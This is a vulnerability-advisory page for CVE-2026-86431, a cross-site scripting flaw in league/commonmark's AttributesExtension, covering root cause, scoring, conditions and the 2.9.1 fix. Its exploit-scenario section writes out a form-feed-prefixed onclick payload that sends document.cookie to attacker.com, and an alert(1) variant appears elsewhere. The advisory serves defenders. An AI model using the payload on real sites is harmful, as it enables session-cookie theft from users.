Skip to main content

league/commonmark EUVDEUVD-2026-72389

| CVE-2026-86431 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-07 VulnCheck GHSA-m24x-mf52-x8gc
6.9
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify Markdown input field on AttributesExtension-enabled app
  2. Delivery
    Craft attribute payload with \x0C-prefixed on* handler
  3. Exploit
    Submit Markdown to application
  4. Install
    filterAttributes() bypass stores malicious attribute verbatim
  5. C2
    Victim loads rendered HTML page
  6. Execute
    Browser strips \x0C and fires event handler
  7. Impact
    Attacker receives exfiltrated session data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two non-default application-level conditions: (1) The AttributesExtension (League\CommonMark\Extension\Attributes\AttributesExtension) must be explicitly registered with the CommonMark Environment - it is an optional extension and is not loaded by default, so default CommonMark installations are not affected. (2) The application must pass untrusted, user-supplied Markdown strings to the converter without pre-sanitizing or stripping attribute syntax. Where both conditions hold, exploitation is limited only by the attacker needing a Markdown input channel (e.g., comment box, wiki editor, API endpoint accepting Markdown) and a second user (the victim) viewing the rendered HTML in a browser. The javascript: URI bypass additionally requires that allow_unsafe_links is false (the secure default) - if allow_unsafe_links is true, javascript: URIs were already permitted, making the bypass moot for that vector.

Impact

The CVSS 4.0 vector provided (AV:N/AC:L/AT:N/PR:N/UI:N - score 6.9) rates this moderate in severity, though the UI:N metric appears to understate the requirement that a victim must visit or render the output page for the injected script to execute. Real-world risk is conditional on two factors: first, the AttributesExtension is optional and not enabled in the default CommonMark configuration, narrowing the exposure to applications that explicitly enable it; second, the application must pass untrusted user-supplied Markdown to the converter. Applications using CommonMark only for trusted content (static documentation, developer-controlled input) are not affected. Where both conditions hold - a CMS, wiki, or collaborative tool built on this library with the extension enabled - the risk is meaningful: an attacker with Markdown-input access can achieve stored or reflected XSS leading to session theft, credential harvesting, or UI redress. No KEV listing is present; exploitation probability is not independently assessed from EPSS data in this input set. The absence of KEV and a moderate CVSS 4.0 score suggest this is currently a targeted rather than mass-exploited issue, but the detailed GHSA advisory provides sufficient technical depth to construct a working proof of concept.

Exploit ScenarioDerived

An attacker submits a Markdown comment on a platform (wiki, CMS, forum) that uses league/commonmark with the AttributesExtension enabled, embedding a payload such as [click me](

){\x0Conclick='document.location=\'https://attacker.com/?c=\'+document.cookie'}. The application converts the Markdown to HTML and stores the output; when any other user views the page, their browser strips the leading U+000C byte and fires the onclick handler, exfiltrating the victim's session cookie to the attacker's server. The GHSA advisory provides equivalent proof-of-concept syntax, making reliable reproduction straightforward for any PHP developer familiar with the library.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 07, 2026

Cross-site scripting in league/commonmark 2.7.0-2.9.0 allows unauthenticated attackers to inject arbitrary JavaScript into rendered HTML output by prefixing an attribute name with a U+000C form feed byte, bypassing the AttributesExtension's event-handler filter and the allow_unsafe_links safeguard. The bypass exploits a mismatch between what PHP's built-in trim() considers whitespace (excluding U+000C) and what PCRE \s matches (including U+000C), leaving the byte embedded in the attribute name where PHP's string comparison logic fails to recognize it but browsers' HTML parsers strip it and treat the remainder as a genuine event handler. Exploitation requires the AttributesExtension to be enabled and untrusted Markdown to be fed to the converter; no public exploit has been identified at time of analysis, though the GHSA advisory provides a precise technical breakdown sufficient to reproduce the issue.

RemediationAI

Upgrade to league/commonmark 2.9.1, which is the vendor-confirmed fixed release per the GHSA advisory and CHANGELOG. The 2.9.1 release revises filterAttributes() to apply strtolower() normalization before string comparison and introduces a new attributes/allow configuration key that restricts which attributes users may set, defaulting to a safe permissive-but-filtered posture. Install via Composer: composer require league/commonmark:^2.9.1. If immediate upgrade is not feasible, disable the AttributesExtension entirely to eliminate the attack surface; this removes the ability for Markdown authors to attach arbitrary HTML attributes but is otherwise safe. As a secondary compensating control, pass all rendered HTML output through a dedicated HTML sanitizer (e.g., HtmlSanitizer or HTMLPurifier) configured to strip on* attributes and javascript: URIs before delivering content to browsers; this adds defense-in-depth but does not substitute for the patch. Reference: https://github.com/thephpleague/commonmark/security/advisories/GHSA-f8fg-pg57-v4j8 and patch commit https://github.com/thephpleague/commonmark/commit/dfcdf4554c16aa37c15e3a5ee3243ee26147c239.

Affected VersionsENISA

commonmark 2.7.0 <2.9.1

Affected Packages

composer league/commonmark fix: 2.9.1
euvd commonmark fix: 2.9.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected library is league/commonmark (Packagist: composer/league/commonmark), a PHP implementation of the CommonMark Markdown specification, identified by CPE cpe:2.3:a:thephpleague:commonmark:*:*:*:*:*:*:*:*. The vulnerability resides in the optional AttributesExtension, specifically in AttributesHelper::filterAttributes() and the upstream parsing loop in AttributesHelper.php that calls PHP's trim() to clean matched attribute names. The root cause (CWE-79, Improper Neutralization of Input During Web Page Generation) stems from a character-set mismatch: PCRE's \s meta-character and the HTML5 tokenizer both treat U+000C FORM FEED as whitespace, but PHP's default trim() charlist only covers space, tab, newline, carriage return, null, and vertical tab (\x0B) - omitting form feed (\x0C). A crafted attribute like {\x0Conclick='alert(1)'} is consumed by the PCRE match and passed to trim(), which leaves \x0C intact; the attribute name stored in the $attributes map is '\x0Conclick'. The filter then does a str_starts_with comparison against 'on', which fails because the string starts with \x0C. Browsers, however, strip leading ASCII whitespace including U+000C during HTML tokenization and parse the remaining 'onclick' as a standard event handler. The same bypass path also defeats the allow_unsafe_links=false check for href and src attributes by the same prefix trick, enabling javascript: URI injection. The 2.7.0 release introduced filterAttributes() specifically to block on* handlers; this CVE documents that the 2.7.0 filter was incomplete.

Know when Commonmark gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.7 MEDIUM

AC:H because AttributesExtension must be explicitly enabled; UI:R because victim must render the HTML; S:C for XSS cross-browser-context impact.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

league/commonmark (thephpleague/commonmark) versions >= 2.7.0 and < 2.9.1 contain a cross-site scripting vulnerability in the AttributesExtension. Prefixing an attribute name with a single U+000C form feed byte (e.g. {\x0Conclick="alert(1)"}) bypasses the AttributesHelper::filterAttributes() 'on*' event-handler filter because PHP's trim() does not strip U+000C, causing the attribute to be written verbatim into the output where browsers parse it as a genuine event handler. The same prefix also defeats the allow_unsafe_links check, allowing javascript: URIs through href/src attributes even when allow_unsafe_links is false. Exploitation requires processing untrusted Markdown with the AttributesExtension enabled; the injected script executes when the rendered HTML is viewed. Fixed in 2.9.1.

Threat Intelligence Overview

EPSS Score
0.2%
Top 87% exploitable
Prevalence
Medium
popular PHP Markdown library, widely used in CMS and documentation tooling
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2019-10010 MEDIUM POC
6.1 Mar 24

Cross-site scripting (XSS) vulnerability in the PHP League CommonMark library before 0.18.3 allows remote attackers to i

CVE-2018-20583 MEDIUM POC
6.1 Dec 30

Cross-site scripting (XSS) vulnerability in the PHP League CommonMark library versions 0.15.6 through 0.18.x before 0.18

CVE-2026-86434 HIGH
8.7 Sep 07

Quadratic CPU exhaustion in league/commonmark 2.0.0-2.8.3 allows unauthenticated remote attackers to deny service by sub

CVE-2026-86433 HIGH
8.7 Sep 07

Quadratic-time algorithmic complexity in league/commonmark's Attributes extension exposes PHP applications to remote den

CVE-2026-86429 HIGH
8.7 Sep 07

Quadratic parsing complexity in league/commonmark (thephpleague/commonmark, versions ≥1.5.0 and <2.9.1) allows unauthent

CVE-2026-86430 HIGH
8.7 Sep 07

Three independent super-linear parsing paths in league/commonmark before 2.9.1 allow unauthenticated remote attackers to

CVE-2026-86435 HIGH
8.7 Sep 07

Quadratic-blowup denial of service in league/commonmark's Footnote extension allows remote unauthenticated attackers to

CVE-2026-86428 HIGH
8.7 Sep 07

Quadratic CPU exhaustion in league/commonmark's optional AttributesExtension (versions 1.5.0 through 2.9.2) allows unaut

CVE-2026-105830 HIGH
8.7 Oct 08

Quadratic-time denial of service in league/commonmark 2.0.0 through 2.10.1 lets unauthenticated remote attackers exhaust

CVE-2026-86432 MEDIUM
6.9 Sep 07

Quadratic memory and output amplification in league/commonmark's XmlRenderer affects all 2.x releases from 2.0.0 through

CVE-2026-30838 MEDIUM
6.1 Mar 07

The DisallowedRawHtml extension in PHP Commonmark (league/commonmark) versions prior to 2.8.1 can be bypassed by injecti

CVE-2026-105829 MEDIUM
5.3 Oct 08

Stored cross-site scripting in league/commonmark from 1.3.0 through 2.10.1 lets any user who can post Markdown bypass th

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy